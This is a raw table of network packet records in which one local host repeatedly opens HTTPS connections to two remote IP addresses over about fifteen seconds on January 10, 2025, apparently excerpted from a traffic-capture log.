| Jan 10, 2025 15:17:11.297590017 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.297662020 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:11.297683001 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.297730923 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:11.297846079 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:11.297884941 CET | 443 | 49993 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.297931910 CET | 49993 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:11.322148085 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:11.322202921 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.322282076 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:11.322521925 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:11.322535038 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.959561110 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.959794998 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:11.960129976 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:11.960139990 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:11.960313082 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:11.960319996 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:12.463434935 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:12.463510990 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:12.463570118 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:12.463666916 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:12.463668108 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:12.463668108 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:12.464368105 CET | 49994 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:12.464385033 CET | 443 | 49994 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:12.595395088 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:12.595454931 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:12.595547915 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:12.596014023 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:12.596026897 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.242796898 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.243051052 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.243541956 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.243623018 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.245039940 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.245060921 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.245363951 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.245419979 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.245853901 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.287338972 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.626337051 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.626472950 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.626494884 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.626543045 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.627655029 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.627717972 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.627727032 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.627769947 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.632654905 CET | 49995 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:13.632684946 CET | 443 | 49995 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.650208950 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:13.650262117 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:13.650345087 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:13.650598049 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:13.650612116 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.287380934 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.287532091 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:14.288136959 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:14.288149118 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.288297892 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:14.288302898 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.736407042 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.736480951 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.736543894 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.736591101 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:14.736670017 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:14.737592936 CET | 49996 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:14.737612963 CET | 443 | 49996 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.869318008 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:14.869374990 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:14.869460106 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:14.869709015 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:14.869724035 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.500931978 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.501107931 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:15.501538038 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:15.501549006 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.501732111 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:15.501737118 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.897764921 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.897876978 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:15.898129940 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:15.898160934 CET | 443 | 49997 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.898206949 CET | 49997 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:15.913578987 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:15.913628101 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:15.913703918 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:15.913963079 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:15.913975000 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.541645050 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.541807890 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.542366028 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.542403936 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.542568922 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.542581081 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.992850065 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.992898941 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.992978096 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.992991924 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.993022919 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.993033886 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.993897915 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:16.993927002 CET | 443 | 49998 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:16.993979931 CET | 49998 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:17.119424105 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.119477987 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:17.119595051 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.119956017 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.119967937 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:17.840677977 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:17.840840101 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.841908932 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:17.842051029 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.927175045 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.927208900 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:17.927618980 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:17.927686930 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.935632944 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:17.979350090 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.225042105 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.225100994 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:18.225136042 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.225177050 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:18.225227118 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:18.225270987 CET | 443 | 49999 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.225317001 CET | 49999 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:18.240400076 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.240458965 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.240530968 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.240888119 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.240904093 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.879846096 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.879983902 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.881789923 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.881803036 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.882062912 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:18.882111073 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.882488966 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:18.923332930 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.240199089 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.240377903 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.240493059 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:19.240506887 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.240547895 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.240551949 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:19.240593910 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:19.241261959 CET | 50000 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:19.241278887 CET | 443 | 50000 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.370894909 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:19.370944977 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:19.371016979 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:19.371481895 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:19.371495962 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.001058102 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.001156092 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.001833916 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.001888037 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.003850937 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.003855944 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.004143000 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.004194021 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.004585981 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.051345110 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.477760077 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.477883101 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.477905035 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.477948904 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.478910923 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.478955030 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.478967905 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.478996992 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.535224915 CET | 50001 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:20.535248041 CET | 443 | 50001 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.552325964 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:20.552369118 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:20.552433014 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:20.552773952 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:20.552786112 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.205236912 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.205373049 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.205872059 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.205882072 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.206039906 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.206044912 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.668806076 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.668879032 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.668924093 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.668935061 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.668946981 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.668951988 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.669006109 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.669584990 CET | 50002 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:21.669600010 CET | 443 | 50002 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.791038990 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:21.791081905 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:21.791209936 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:21.791445017 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:21.791454077 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.452138901 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.452266932 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:22.452835083 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:22.452843904 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.453006029 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:22.453010082 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.852205038 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.852262974 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:22.852268934 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.852309942 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:22.852411985 CET | 50003 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:22.852421045 CET | 443 | 50003 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.864690065 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:22.864722967 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:22.864784956 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:22.865063906 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:22.865073919 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.494023085 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.494277000 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.494827032 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.494842052 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.494980097 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.494987011 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.930181026 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.930259943 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.930316925 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.930334091 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:23.930351973 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.930398941 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.931091070 CET | 50004 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:23.931116104 CET | 443 | 50004 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:24.057286024 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:24.057324886 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:24.057425022 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:24.057738066 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:24.057753086 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:24.704209089 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:24.704336882 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:24.704791069 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:24.704823017 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:24.704971075 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:24.704979897 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.096710920 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.096880913 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:25.097048044 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:25.097093105 CET | 443 | 50005 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.097157955 CET | 50005 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:25.107954025 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:25.108000040 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.108094931 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:25.108320951 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:25.108334064 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.739829063 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.740005016 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:25.740576029 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:25.740591049 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:25.740729094 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:25.740736961 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191462040 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191613913 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.191648006 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191673040 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191699028 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.191708088 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191720009 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.191756964 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.191762924 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191885948 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.191914082 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.191936016 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.192511082 CET | 50006 | 443 | 192.168.2.6 | 216.58.206.65 |
| Jan 10, 2025 15:17:26.192528009 CET | 443 | 50006 | 216.58.206.65 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.322598934 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.322654963 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.322792053 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.323169947 CET | 50007 | 443 | 192.168.2.6 | 142.250.185.110 |
| Jan 10, 2025 15:17:26.323189974 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
| Jan 10, 2025 15:17:26.989316940 CET | 443 | 50007 | 142.250.185.110 | 192.168.2.6 |
